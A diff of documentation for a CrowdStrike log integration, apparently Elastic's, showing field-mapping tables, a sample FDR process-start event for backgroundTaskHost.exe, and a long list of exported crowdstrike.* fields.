+| rule.ruleset | Name of the ruleset, policy, group, or parent category in which the rule used to generate this event is a member. | keyword |
+| rule.uuid | A rule ID that is unique within the scope of a set or group of agents, observers, or other entities using the rule for detection of this event. | keyword |
+| source.as.number | Unique number allocated to the autonomous system. The autonomous system number (ASN) uniquely identifies each network on the Internet. | long |
+| source.as.organization.name | Organization name. | keyword |
+| source.as.organization.name.text | Multi-field of `source.as.organization.name`. | match_only_text |
+| source.geo.city_name | City name. | keyword |
+| source.geo.continent_name | Name of the continent. | keyword |
+| source.geo.country_iso_code | Country ISO code. | keyword |
+| source.geo.country_name | Country name. | keyword |
+| source.geo.location | Longitude and latitude. | geo_point |
+| source.geo.region_iso_code | Region ISO code. | keyword |
+| source.geo.region_name | Region name. | keyword |
+| source.ip | IP address of the source (IPv4 or IPv6). | ip |
+| source.port | Port of the source. | long |
+| tags | List of keywords used to tag each event. | keyword |
+| threat.framework | Name of the threat framework used to further categorize and classify the tactic and technique of the reported threat. Framework classification can be provided by detecting systems, evaluated at ingest time, or retrospectively tagged to events. | keyword |
+| threat.tactic.id | The id of tactic used by this threat. You can use a MITRE ATT&CK® tactic, for example. (ex. https://attack.mitre.org/tactics/TA0002/ ) | keyword |
+| threat.tactic.name | Name of the type of tactic used by this threat. You can use a MITRE ATT&CK® tactic, for example. (ex. https://attack.mitre.org/tactics/TA0002/) | keyword |
+| threat.technique.id | The id of technique used by this threat. You can use a MITRE ATT&CK® technique, for example. (ex. https://attack.mitre.org/techniques/T1059/) | keyword |
+| threat.technique.name | The name of technique used by this threat. You can use a MITRE ATT&CK® technique, for example. (ex. https://attack.mitre.org/techniques/T1059/) | keyword |
+| threat.technique.name.text | Multi-field of `threat.technique.name`. | match_only_text |
+| user.domain | Name of the directory the user is a member of. For example, an LDAP or Active Directory domain name. | keyword |
+| user.email | User email address. | keyword |
+| user.id | Unique identifier of the user. | keyword |
+| user.name | Short name or login of the user. | keyword |
+| user.name.text | Multi-field of `user.name`. | match_only_text |
+
+
+### FDR
+
+This is the `fdr` dataset.
+
+#### Example
+
+An example event for `fdr` looks as following:
+
+```json
+{
+    "@timestamp": "2020-10-01T09:58:32.519Z",
+    "agent": {
+        "id": "71e71f16-ae08-46e3-a58e-a7d14e974950",
+        "name": "elastic-agent-30302",
+        "type": "filebeat",
+        "version": "8.18.0"
+    },
+    "aws": {
+        "s3": {
+            "bucket": {
+                "name": "elastic-package-crowdstrike-fdr-30445"
+            },
+            "object": {
+                "key": "data"
+            }
+        }
+    },
+    "crowdstrike": {
+        "AuthenticationId": "3783389",
+        "ConfigStateHash": "3998263252",
+        "EffectiveTransmissionClass": "3",
+        "Entitlements": "15",
+        "ImageSubsystem": "2",
+        "IntegrityLevel": "4096",
+        "MD5HashData": "50d5fd1290d94d46acca0585311e74d5",
+        "ParentAuthenticationId": "3783389",
+        "ProcessCreateFlags": "525332",
+        "ProcessParameterFlags": "16385",
+        "ProcessSxsFlags": "1600",
+        "RpcClientProcessId": "2439558094566",
+        "SHA256HashData": "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37",
+        "SessionId": "1",
+        "SourceProcessId": "2439558094566",
+        "SourceThreadId": "77538684027214",
+        "Tags": [
+            "41",
+            "12094627905582",
+            "12094627906234"
+        ],
+        "TokenType": "2",
+        "WindowFlags": "128",
+        "cid": "ffffffff30a3407dae27d0503611022d",
+        "id": "ffffffff-1111-11eb-8462-02ade3b2f949",
+        "info": {
+            "host": {
+                "AgentLoadFlags": "1",
+                "AgentLocalTime": "1697775225",
+                "AgentTimeOffset": "15889.017",
+                "AgentVersion": "7.01.13922.0",
+                "BiosManufacturer": "Iris",
+                "BiosVersion": "vG17V.21040423/z64",
+                "ChassisType": "Other",
+                "City": "Chicago",
+                "ConfigBuild": "1007.3.0017312.1",
+                "ConfigIDBuild": "13922",
+                "Continent": "North America",
+                "Country": "United States of America",
+                "FalconGroupingTags": "'FalconGroupingTags/AMERICA'",
+                "FirstSeen": "1628678052.0",
+                "HostHiddenStatus": "Visible",
+                "MachineDomain": "groot.org",
+                "OU": "Servers;America;Offices",
+                "PointerSize": "8",
+                "ProductType": "3.0",
+                "ServicePackMajor": "0",
+                "SiteName": "BCL",
+                "SystemManufacturer": "Iris",
+                "SystemProductName": "IrOS",
+                "Time": "1697992719.22",
+                "Timezone": "America/Chicago",
+                "Version": "Windows Server 2021",
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "event_platform": "Win"
+            },
+            "user": {
+                "AccountType": "Domain User",
+                "LastLoggedOnHost": "COMPUTER1",
+                "LocalAdminAccess": "No",
+                "LogonInfo": "Domain User Logon",
+                "LogonTime": "1702546155.197",
+                "LogonType": "Interactive",
+                "PasswordLastSet": "1699971198.062",
+                "User": "DOMAIN\\BRADLEYA",
+                "UserIsAdmin": "0",
+                "UserLogonFlags_decimal": "0",
+                "_time": "1702546168.576",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "event_platform": "Win",
+                "monthsincereset": "1.0"
+            }
+        },
+        "name": "ProcessRollup2V18"
+    },
+    "data_stream": {
+        "dataset": "crowdstrike.fdr",
+        "namespace": "77613",
+        "type": "logs"
+    },
+    "device": {
+        "id": "ffffffff655344736aca58d17fb570f0"
+    },
+    "elastic_agent": {
+        "id": "71e71f16-ae08-46e3-a58e-a7d14e974950",
+        "snapshot": false,
+        "version": "8.18.0"
+    },
+    "event": {
+        "action": "ProcessRollup2",
+        "agent_id_status": "verified",
+        "category": [
+            "process"
+        ],
+        "created": "2020-10-01T09:58:32.519Z",
+        "dataset": "crowdstrike.fdr",
+        "id": "ffffffff-1111-11eb-8462-02ade3b2f949|ffffffff655344736aca58d17fb570f0|ffffffff30a3407dae27d0503611022d",
+        "ingested": "2025-08-27T05:55:29Z",
+        "kind": "event",
+        "original": "{\"AuthenticationId\":\"3783389\",\"CommandLine\":\"\\\"C:\\\\WINDOWS\\\\system32\\\\backgroundTaskHost.exe\\\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca\",\"ConfigBuild\":\"1007.3.0012309.1\",\"ConfigStateHash\":\"3998263252\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\backgroundTaskHost.exe\",\"ImageSubsystem\":\"2\",\"IntegrityLevel\":\"4096\",\"MD5HashData\":\"50d5fd1290d94d46acca0585311e74d5\",\"ParentAuthenticationId\":\"3783389\",\"ParentBaseFileName\":\"svchost.exe\",\"ParentProcessId\":\"2439558094566\",\"ProcessCreateFlags\":\"525332\",\"ProcessEndTime\":\"\",\"ProcessParameterFlags\":\"16385\",\"ProcessStartTime\":\"1604855181.648\",\"ProcessSxsFlags\":\"1600\",\"RawProcessId\":\"22272\",\"RpcClientProcessId\":\"2439558094566\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"SHA256HashData\":\"b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37\",\"SessionId\":\"1\",\"SourceProcessId\":\"2439558094566\",\"SourceThreadId\":\"77538684027214\",\"Tags\":\"41, 12094627905582, 12094627906234\",\"TargetProcessId\":\"2450046082233\",\"TokenType\":\"2\",\"UserSid\":\"S-1-12-1-3697283754-1083485977-2164330645-2516515886\",\"WindowFlags\":\"128\",\"aid\":\"ffffffff655344736aca58d17fb570f0\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"ProcessRollup2\",\"id\":\"ffffffff-1111-11eb-8462-02ade3b2f949\",\"name\":\"ProcessRollup2V18\",\"timestamp\":\"1601546312519\"}",
+        "outcome": "success",
+        "type": [
+            "start"
+        ]
+    },
+    "host": {
+        "ip": [
+            "16.15.12.10"
+        ],
+        "name": "FEVWSN1-234",
+        "os": {
+            "type": "windows"
+        }
+    },
+    "input": {
+        "type": "aws-s3"
+    },
+    "message": "ProcessRollup2",
+    "observer": {
+        "address": [
+            "67.43.156.14"
+        ],
+        "geo": {
+            "continent_name": "Asia",
+            "country_iso_code": "BT",
+            "country_name": "Bhutan",
+            "location": {
+                "lat": 27.5,
+                "lon": 90.5
+            }
+        },
+        "ip": [
+            "67.43.156.14"
+        ],
+        "serial_number": "ffffffff655344736aca58d17fb570f0",
+        "version": "1007.3.0012309.1"
+    },
+    "process": {
+        "Ext": {
+            "token": {
+                "integrity_level_name": "LOW"
+            }
+        },
+        "args": [
+            "C:\\WINDOWS\\system32\\backgroundTaskHost.exe",
+            "-ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca"
+        ],
+        "args_count": 2,
+        "command_line": "\"C:\\WINDOWS\\system32\\backgroundTaskHost.exe\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca",
+        "entity_id": "2450046082233",
+        "executable": "\\Device\\HarddiskVolume3\\Windows\\System32\\backgroundTaskHost.exe",
+        "hash": {
+            "md5": "50d5fd1290d94d46acca0585311e74d5",
+            "sha256": "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37"
+        },
+        "name": "backgroundTaskHost.exe",
+        "parent": {
+            "entity_id": "2439558094566",
+            "name": "svchost.exe"
+        },
+        "pid": 22272,
+        "start": "2020-11-08T17:06:21.648Z"
+    },
+    "related": {
+        "hash": [
+            "50d5fd1290d94d46acca0585311e74d5",
+            "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37",
+            "3998263252"
+        ],
+        "hosts": [
+            "FEVWSN1-234",
+            "COMPUTER1"
+        ],
+        "ip": [
+            "67.43.156.14",
+            "16.15.12.10"
+        ],
+        "user": [
+            "Alan-One",
+            "DOMAIN\\BRADLEYA",
+            "S-1-12-1-3697283754-1083485977-2164330645-2516515886"
+        ]
+    },
+    "tags": [
+        "preserve_original_event",
+        "forwarded",
+        "crowdstrike-fdr"
+    ],
+    "user": {
+        "domain": "DOMAIN",
+        "id": "S-1-12-1-3697283754-1083485977-2164330645-2516515886",
+        "name": "Alan-One"
+    }
+}
+```
+
+**Exported fields**
+
+| Field | Description | Type |
+|---|---|---|
+| @timestamp | Event timestamp. | date |
+| aws.s3.bucket.arn | The AWS S3 bucket ARN. | keyword |
+| aws.s3.bucket.name | The AWS S3 bucket name. | keyword |
+| aws.s3.object.key | The AWS S3 Object key. | keyword |
+| crowdstrike.AccessType |  | keyword |
+| crowdstrike.AccountDomain |  | match_only_text |
+| crowdstrike.AccountObjectGuid |  | match_only_text |
+| crowdstrike.AccountObjectSid |  | match_only_text |
+| crowdstrike.AccountType |  | keyword |
+| crowdstrike.ActiveDirectoryAuthenticationMethod |  | keyword |
+| crowdstrike.ActivityId |  | keyword |
+| crowdstrike.AddressFamily |  | keyword |
+| crowdstrike.AdminStatus |  | keyword |
+| crowdstrike.AgentIdString |  | keyword |
+| crowdstrike.AgentLoadFlags |  | keyword |
+| crowdstrike.AgentLocalTime |  | date |
+| crowdstrike.AgentTimeOffset |  | float |
+| crowdstrike.AgentVersion |  | keyword |
+| crowdstrike.AggregateId |  | keyword |
+| crowdstrike.AllocateVirtualMemoryCount |  | long |
+| crowdstrike.AllowlistingFilterId |  | keyword |
+| crowdstrike.AnodeIndicators |  | nested |
+| crowdstrike.AntiTamperStateFlag |  | keyword |
+| crowdstrike.ApiReturnValue |  | keyword |
+| crowdstrike.ApplicationName |  | match_only_text |
+| crowdstrike.ArchiveFileWrittenCount |  | long |
+| crowdstrike.AsepClass |  | keyword |
+| crowdstrike.AsepFlags |  | keyword |
+| crowdstrike.AsepIndex |  | keyword |
+| crowdstrike.AsepValueType |  | keyword |
+| crowdstrike.AsepWrittenCount |  | long |
+| crowdstrike.AssemblyFlags |  | keyword |
+| crowdstrike.AssemblyId |  | keyword |
+| crowdstrike.AssemblyName |  | keyword |
+| crowdstrike.AssociatedFile |  | keyword |
+| crowdstrike.Attacks.Tactic |  | keyword |
+| crowdstrike.Attacks.Technique |  | keyword |
+| crowdstrike.AttemptNumber |  | long |
+| crowdstrike.AuthenticationActivityId |  | keyword |
+| crowdstrike.AuthenticationId |  | keyword |
+| crowdstrike.AuthenticationPackage |  | keyword |
+| crowdstrike.AuthenticationUuid |  | keyword |
+| crowdstrike.AuthenticationUuidAsString |  | keyword |
+| crowdstrike.AuthenticodeHashData |  | keyword |
+| crowdstrike.AuthenticodeHashDataSHA256 |  | keyword |
+| crowdstrike.BaseReachableTime |  | keyword |
+| crowdstrike.BatchDataNumber |  | keyword |
+| crowdstrike.BatchDataTotal |  | keyword |
+| crowdstrike.BatchTimestamp |  | date |
+| crowdstrike.BinaryExecutableWrittenCount |  | long |
+| crowdstrike.BiosChanged |  | match_only_text |
+| crowdstrike.BiosManufacturer |  | keyword |
+| crowdstrike.BiosReleaseDate |  | date |
+| crowdstrike.BiosVersion |  | keyword |
+| crowdstrike.BluetoothClassOfDeviceValue |  | match_only_text |
+| crowdstrike.BluetoothDeviceAppearanceValue |  | match_only_text |
+| crowdstrike.BluetoothDeviceModelNumber |  | match_only_text |
+| crowdstrike.BluetoothDeviceName |  | match_only_text |
+| crowdstrike.BluetoothServiceName_1 |  | match_only_text |
+| crowdstrike.BluetoothServiceName_3 |  | match_only_text |
+| crowdstrike.BluetoothServiceName_4 |  | match_only_text |
+| crowdstrike.BluetoothServiceName_5 |  | match_only_text |
+| crowdstrike.BluetoothServiceName_6 |  | match_only_text |
+| crowdstrike.BluetoothServiceName_7 |  | match_only_text |
+| crowdstrike.BluetoothServiceName_8 |  | match_only_text |
+| crowdstrike.BluetoothServiceUuidArray |  | match_only_text |
+| crowdstrike.BluetoothServiceUuid_1 |  | match_only_text |
+| crowdstrike.BluetoothServiceUuid_2 |  | match_only_text |
+| crowdstrike.BluetoothServiceUuid_3 |  | match_only_text |
+| crowdstrike.BluetoothServiceUuid_4 |  | match_only_text |
+| crowdstrike.BluetoothServiceUuid_5 |  | match_only_text |
+| crowdstrike.BluetoothServiceUuid_6 |  | match_only_text |
+| crowdstrike.BluetoothServiceUuid_7 |  | match_only_text |
+| crowdstrike.BluetoothServiceUuid_8 |  | match_only_text |
+| crowdstrike.BluetoothVendorIdSource |  | match_only_text |
+| crowdstrike.BootArgs |  | keyword |
+| crowdstrike.BootTimeFunctionalityLevel |  | keyword |
+| crowdstrike.BoundedCount |  | long |
+| crowdstrike.BoundingLimitCount |  | long |
+| crowdstrike.BoundingLimitDuration |  | keyword |
+| crowdstrike.BrowserExtensionId |  | keyword |
+| crowdstrike.BrowserExtensionInstallMethod |  | keyword |
+| crowdstrike.BrowserExtensionStatusEnabled |  | keyword |
+| crowdstrike.BrowserFileHash |  | keyword |
+| crowdstrike.BrowserFilePath |  | keyword |
+| crowdstrike.BrowserName |  | keyword |
+| crowdstrike.BrowserProfileId |  | keyword |
+| crowdstrike.BrowserProfileName |  | keyword |
+| crowdstrike.BrowserVersion |  | keyword |
+| crowdstrike.BundleID |  | keyword |
+| crowdstrike.CLICreationCount |  | long |
+| crowdstrike.CNAMERecords |  | keyword |
+| crowdstrike.CallStackModuleNames |  | keyword |
+| crowdstrike.CallStackModuleNamesVersion |  | version |
+| crowdstrike.CapPrm |  | keyword |
+| crowdstrike.CertificateIssuer |  | keyword |
+| crowdstrike.CertificatePublisher |  | keyword |
+| crowdstrike.CertificateSignatureHash |  | keyword |
+| crowdstrike.CertificateSignatureHashAlgorithm |  | keyword |
+| crowdstrike.ChangeId |  | keyword |
+| crowdstrike.ChangeTime |  | date |
+| crowdstrike.ChangedPcrBitmap |  | match_only_text |
+| crowdstrike.ChannelDiffStatus |  | keyword |
+| crowdstrike.ChannelId |  | keyword |
+| crowdstrike.ChannelVersion |  | keyword |
+| crowdstrike.ChannelVersionRequired |  | keyword |
+| crowdstrike.ChasisManufacturer |  | keyword |
+| crowdstrike.ChassisType |  | keyword |
+| crowdstrike.ClientComputerName |  | keyword |
+| crowdstrike.ClientId |  | match_only_text |
+| crowdstrike.ClientProcessStartKey |  | keyword |
+| crowdstrike.CloudIndicator |  | boolean |
+| crowdstrike.CommandCount |  | match_only_text |
+| crowdstrike.CommandCountMax |  | match_only_text |
+| crowdstrike.CommandHistory |  | keyword |
+| crowdstrike.CommandHistory.text | Multi-field of `crowdstrike.CommandHistory`. | match_only_text |
+| crowdstrike.CompanyName |  | keyword |
+| crowdstrike.CompletionEventId |  | keyword |
+| crowdstrike.CompositeId | Global unique identifier that identifies a unique alert. | keyword |
+| crowdstrike.ConHostId |  | keyword |
+| crowdstrike.ConHostProcessId |  | keyword |
+| crowdstrike.ConfigBuild |  | keyword |
+| crowdstrike.ConfigIDBase |  | keyword |
+| crowdstrike.ConfigIDBuild |  | keyword |
+| crowdstrike.ConfigIDPlatform |  | keyword |
+| crowdstrike.ConfigStateData |  | text |
+| crowdstrike.ConfigStateHash |  | keyword |
+| crowdstrike.ConfigurationDescriptorName |  | match_only_text |
+| crowdstrike.ConfigurationVersion |  | keyword |
+| crowdstrike.ConnectTime |  | date |
+| crowdstrike.ConnectType |  | keyword |
+| crowdstrike.ConnectionAddressIP6 |  | match_only_text |
+| crowdstrike.ConnectionFlags |  | keyword |
+| crowdstrike.ConnectionType |  | keyword |
+| crowdstrike.ContentDiff.Exists |  | boolean |
+| crowdstrike.ContentPatternCounts |  | nested |
+| crowdstrike.ContentPatterns.ConfidenceLevel |  | long |
+| crowdstrike.ContentPatterns.ID |  | keyword |
+| crowdstrike.ContentPatterns.MatchCount |  | long |
+| crowdstrike.ContentPatterns.Name |  | keyword |
+| crowdstrike.ContentSHA256HashData |  | keyword |
+| crowdstrike.ContextBaseFileName |  | keyword |
+| crowdstrike.ContextImageFileName |  | keyword |
+| crowdstrike.ContextProcessId |  | keyword |
+| crowdstrike.ContextProcessTagsAsString |  | keyword |
+| crowdstrike.ContextTimeStamp | System local time of event creation. | date |
+| crowdstrike.CpuClockSpeed |  | keyword |
+| crowdstrike.CpuFeaturesMask |  | keyword |
+| crowdstrike.CpuProcessorName |  | keyword |
+| crowdstrike.CpuSignature |  | keyword |
+| crowdstrike.CpuVendor |  | keyword |
+| crowdstrike.CreateProcessCount |  | long |
+| crowdstrike.CreateProcessType |  | keyword |
+| crowdstrike.CurrentFunctionalityLevel |  | keyword |
+| crowdstrike.CurrentLocalIP |  | ip |
+| crowdstrike.CustomerIdString |  | keyword |
+| crowdstrike.CycleTime |  | long |
+| crowdstrike.DadState |  | keyword |
+| crowdstrike.DadTransmits |  | keyword |
+| crowdstrike.Data1 |  | keyword |
+| crowdstrike.DataDomains |  | keyword |
+| crowdstrike.DcNumAttachments |  | match_only_text |
+| crowdstrike.DcNumBlockingPolicies |  | match_only_text |
+| crowdstrike.Description |  | keyword |
+| crowdstrike.DesiredAccess |  | keyword |
+| crowdstrike.Destination |  | nested |
+| crowdstrike.Destination.Channel |  | keyword |
+| crowdstrike.DetectDescription |  | keyword |
+| crowdstrike.DetectId |  | keyword |
+| crowdstrike.DetectName |  | keyword |
+| crowdstrike.DetectionType |  | keyword |
+| crowdstrike.DeviceId |  | keyword |
+| crowdstrike.DeviceMountCounter |  | long |
+| crowdstrike.DevicePropertyClassGuid |  | match_only_text |
+| crowdstrike.DevicePropertyClassName |  | match_only_text |
+| crowdstrike.DevicePropertyLocationInformation |  | match_only_text |
+| crowdstrike.DirectionType |  | keyword |
+| crowdstrike.DirectoryCreatedCount |  | long |
+| crowdstrike.DirectoryEnumeratedCount |  | long |
+| crowdstrike.DllCharacteristics |  | keyword |
+| crowdstrike.DnsRequestCount |  | long |
+| crowdstrike.DnsRequests | Detected DNS requests done by a process. | nested |
+| crowdstrike.DnsResponseType |  | keyword |
+| crowdstrike.DocumentFileWrittenCount |  | long |
+| crowdstrike.DomainSid |  | keyword |
+| crowdstrike.DotnetModuleFlags |  | keyword |
+| crowdstrike.DotnetModuleId |  | keyword |
+| crowdstrike.DownloadPath |  | keyword |
+| crowdstrike.DownloadPort |  | long |
+| crowdstrike.DownloadServer |  | keyword |
+| crowdstrike.DriverLoadFlags |  | keyword |
+| crowdstrike.DualRequest |  | keyword |
+| crowdstrike.DylibPath |  | match_only_text |
+| crowdstrike.ELFSubType |  | keyword |
+| crowdstrike.EffectiveTransmissionClass |  | keyword |
+| crowdstrike.EfiVariableCustomModeAttributes |  | match_only_text |
+| crowdstrike.EfiVariableDbAttributes |  | match_only_text |
+| crowdstrike.EfiVariableDbSha256Hash |  | match_only_text |
+| crowdstrike.EfiVariableKekAttributes |  | match_only_text |
+| crowdstrike.EfiVariableKekSha256Hash |  | match_only_text |
+| crowdstrike.EfiVariablePkAttributes |  | match_only_text |
+| crowdstrike.EfiVariablePkSha256Hash |  | match_only_text |
+| crowdstrike.EfiVariableSecureBootAttributes |  | match_only_text |
+| crowdstrike.EfiVariableSetupMode |  | match_only_text |
+| crowdstrike.EfiVariableSetupModeAttributes |  | match_only_text |
+| crowdstrike.EfiVariableSignatureSupport |  | match_only_text |
+| crowdstrike.EfiVariableSignatureSupportAttributes |  | match_only_text |
+| crowdstrike.EgressEventId |  | keyword |
+| crowdstrike.EgressSessionId |  | keyword |
+| crowdstrike.EnabledPrivilegesBitmask |  | keyword |
+| crowdstrike.EndTime |  | date |
+| crowdstrike.Entitlements |  | keyword |
+| crowdstrike.EnvironmentVariableName |  | keyword |
+| crowdstrike.EnvironmentVariableValue |  | keyword |
+| crowdstrike.EnvironmentVariablesString |  | match_only_text |
+| crowdstrike.ErrorCode |  | keyword |
+| crowdstrike.ErrorStatus |  | keyword |
+| crowdstrike.EtwProviderType |  | keyword |
+| crowdstrike.EtwRawProcessId |  | long |
+| crowdstrike.EtwRawRpcClientProcessId |  | keyword |
+| crowdstrike.EtwRawThreadId |  | long |
+| crowdstrike.EventCorrelationId |  | keyword |
+| crowdstrike.EventOrigin |  | integer |
+| crowdstrike.EventTimestamp |  | date |
+| crowdstrike.EventType |  | keyword |
+| crowdstrike.EventUUID |  | keyword |
+| crowdstrike.ExceptionAddress |  | keyword |
+| crowdstrike.ExceptionCode |  | keyword |
+| crowdstrike.ExceptionInformation0 |  | keyword |
+| crowdstrike.ExclusionSource |  | keyword |
+| crowdstrike.ExclusionType |  | keyword |
+| crowdstrike.ExeAndServiceCount |  | long |
+| crowdstrike.ExecutableBytes |  | match_only_text |
+| crowdstrike.ExecutableDeletedCount |  | long |
+| crowdstrike.ExtendedAttributeValue |  | match_only_text |
+| crowdstrike.ExtendedAttributeValueReadable |  | match_only_text |
+| crowdstrike.ExtendedKeyUsages |  | keyword |
+| crowdstrike.ExternalApiType |  | keyword |
+| crowdstrike.FXFileSize |  | keyword |
+| crowdstrike.Facility |  | keyword |
+| crowdstrike.FailedConnectCount |  | long |
+| crowdstrike.FalconGroupingTags |  | keyword |
+| crowdstrike.FalconHostLink |  | keyword |
+| crowdstrike.FeatureExtractionVersion |  | keyword |
+| crowdstrike.FeatureVector |  | match_only_text |
+| crowdstrike.File |  | keyword |
+| crowdstrike.FileAttributes |  | keyword |
+| crowdstrike.FileAttributesNew |  | keyword |
+| crowdstrike.FileAttributesPrevious |  | keyword |
+| crowdstrike.FileCategory |  | keyword |
+| crowdstrike.FileCategoryCounts |  | nested |
+| crowdstrike.FileContent |  | match_only_text |
+| crowdstrike.FileDeletedCount |  | long |
+| crowdstrike.FileEcpBitmask |  | keyword |
+| crowdstrike.FileName |  | keyword |
+| crowdstrike.FileObject |  | keyword |
+| crowdstrike.FileOperatorSid |  | keyword |
+| crowdstrike.FilePath |  | keyword |
+| crowdstrike.FileSigningTime |  | keyword |
+| crowdstrike.FileSubType |  | keyword |
+| crowdstrike.FileSystemOperationType |  | keyword |
+| crowdstrike.FileType.Type.CategoryID |  | keyword |
+| crowdstrike.FileType.Type.CategoryName |  | keyword |
+| crowdstrike.FileType.Type.Description |  | keyword |
+| crowdstrike.FileType.Type.ID |  | keyword |
+| crowdstrike.FileType.Type.Name |  | keyword |
+| crowdstrike.FileVaultIsEnabled |  | match_only_text |
+| crowdstrike.FileVersion |  | keyword |
+| crowdstrike.FileWrittenFlags |  | keyword |
+| crowdstrike.FilesAccessed.FileName |  | keyword |
+| crowdstrike.FilesAccessed.FilePath |  | keyword |
+| crowdstrike.FilesAccessed.Timestamp |  | date |
+| crowdstrike.FilesEgressedCount |  | long |
+| crowdstrike.FilesWritten.FileName |  | keyword |
+| crowdstrike.FilesWritten.FilePath |  | keyword |
+| crowdstrike.FilesWritten.Timestamp |  | date |
+| crowdstrike.FirewallAction |  | keyword |
+| crowdstrike.FirewallOption |  | keyword |
+| crowdstrike.FirewallOptionNumericValue |  | keyword |
+| crowdstrike.FirewallProfile |  | keyword |
+| crowdstrike.FirewallRule |  | keyword |
+| crowdstrike.FirewallRuleId |  | keyword |
+| crowdstrike.FirmwareAnalysisEclConsumerInterfaceVersion |  | keyword |
+| crowdstrike.FirmwareAnalysisEclControlInterfaceVersion |  | keyword |
+| crowdstrike.FirstCommand |  | match_only_text |
+| crowdstrike.FirstDiscoveredDate |  | date |
+| crowdstrike.FirstIP4Record |  | keyword |
+| crowdstrike.FirstSeen |  | date |
+| crowdstrike.FixedFileVersion |  | keyword |
+| crowdstrike.Flags |  | keyword |
+| crowdstrike.FltCallbackData |  | keyword |
+| crowdstrike.FltCompletionContext |  | keyword |
+| crowdstrike.FltRelatedObjects |  | keyword |
+| crowdstrike.FontBuffer |  | keyword |
+| crowdstrike.FontBufferLength |  | keyword |
+| crowdstrike.FontFileCount |  | long |
+| crowdstrike.FontFileName |  | keyword |
+| crowdstrike.FontLoadOperation |  | keyword |
+| crowdstrike.FsOperationClassification |  | keyword |
+| crowdstrike.FsOperationClassificationFlags |  | keyword |
+| crowdstrike.FullExceptionRecord |  | keyword |
+| crowdstrike.GenericFileWrittenCount |  | long |
+| crowdstrike.GrandParentBaseFileName |  | keyword |
+| crowdstrike.GrandparentCommandLine |  | keyword |
+| crowdstrike.GrandparentCommandLine.text | Multi-field of `crowdstrike.GrandparentCommandLine`. | match_only_text |
+| crowdstrike.GrandparentImageFileName |  | keyword |
+| crowdstrike.GrandparentImageFilePath |  | keyword |
+| crowdstrike.GrandparentProcessId |  | keyword |
+| crowdstrike.GroupRid |  | keyword |
+| crowdstrike.HandleCreateAuthenticationId |  | keyword |
+| crowdstrike.HandleCreated |  | keyword |
+| crowdstrike.HandleOperationType |  | keyword |
+| crowdstrike.HashAlgorithm |  | keyword |
+| crowdstrike.HostGroups |  | keyword |
+| crowdstrike.HostHiddenStatus |  | keyword |
+| crowdstrike.HostProcessType |  | keyword |
+| crowdstrike.HttpInternalSource |  | match_only_text |
+| crowdstrike.HttpMethod |  | match_only_text |
+| crowdstrike.HttpRequestHeader |  | match_only_text |
+| crowdstrike.HttpUrl |  | match_only_text |
+| crowdstrike.IOCType |  | keyword |
+| crowdstrike.IOCValue |  | keyword |
+| crowdstrike.IOServiceClass |  | keyword |
+| crowdstrike.IOServiceName |  | keyword |
+| crowdstrike.IOServicePath |  | keyword |
+| crowdstrike.IP4Records |  | keyword |
+| crowdstrike.IcmpCode |  | keyword |
+| crowdstrike.IcmpType |  | keyword |
+| crowdstrike.IfType |  | keyword |
+| crowdstrike.ImageBaseName |  | keyword |
+| crowdstrike.ImageCheckSum |  | keyword |
+| crowdstrike.ImageEntryPoint |  | keyword |
+| crowdstrike.ImageFileName |  | keyword |
+| crowdstrike.ImageSignatureLevel |  | keyword |
+| crowdstrike.ImageSignatureType |  | keyword |
+| crowdstrike.ImageSubsystem |  | keyword |
+| crowdstrike.ImageTimeStamp |  | keyword |
+| crowdstrike.ImpersonatedUserName |  | keyword |
+| crowdstrike.InBroadcastOctets |  | keyword |
+| crowdstrike.InContext |  | keyword |
+| crowdstrike.InDiscards |  | keyword |
+| crowdstrike.InErrors |  | keyword |
+| crowdstrike.InMulticastOctets |  | keyword |
+| crowdstrike.InMulticastPkts |  | keyword |
+| crowdstrike.InNUcastPkts |  | keyword |
+| crowdstrike.InOctets |  | keyword |
+| crowdstrike.InUcastOctets |  | keyword |
+| crowdstrike.InUcastPkts |  | keyword |
+| crowdstrike.InUnknownProtos |  | keyword |
+| crowdstrike.IndividualDiskInfo |  | match_only_text |
+| crowdstrike.Information |  | keyword |
+| crowdstrike.InjectedDll |  | keyword |
+| crowdstrike.InjectedDllCount |  | long |
+| crowdstrike.InjectedThreadCount |  | long |
+| crowdstrike.InjectedThreadFlag |  | keyword |
+| crowdstrike.InstanceMetadata |  | match_only_text |
+| crowdstrike.InstanceMetadataSignature |  | match_only_text |
+| crowdstrike.IntegrityLevel |  | keyword |
+| crowdstrike.InterfaceAlias |  | keyword |
+| crowdstrike.InterfaceDescription |  | keyword |
+| crowdstrike.InterfaceFlags |  | keyword |
+| crowdstrike.InterfaceGuid |  | keyword |
+| crowdstrike.InterfaceIdentifier |  | keyword |
+| crowdstrike.InterfaceIndex |  | long |
+| crowdstrike.InterfaceKind |  | match_only_text |
+| crowdstrike.InterfaceMtu |  | keyword |
+| crowdstrike.InterfaceType |  | keyword |
+| crowdstrike.InterfaceVersion |  | keyword |
+| crowdstrike.IpEntryFlags |  | keyword |
+| crowdstrike.IrpFlags |  | keyword |
+| crowdstrike.IsClipboard |  | boolean |
+| crowdstrike.IsEBPF |  | keyword |
+| crowdstrike.IsFromDifferentMountNamespace |  | keyword |
+| crowdstrike.IsHosted |  | keyword |
+| crowdstrike.IsOnNetwork |  | keyword |
+| crowdstrike.IsOnRemovableDisk |  | keyword |
+| crowdstrike.IsProcessInitializing |  | keyword |
+| crowdstrike.IsTransactedFile |  | keyword |
+| crowdstrike.IsUnique |  | keyword |
+| crowdstrike.KernelTime |  | long |
+| crowdstrike.KeyObject |  | match_only_text |
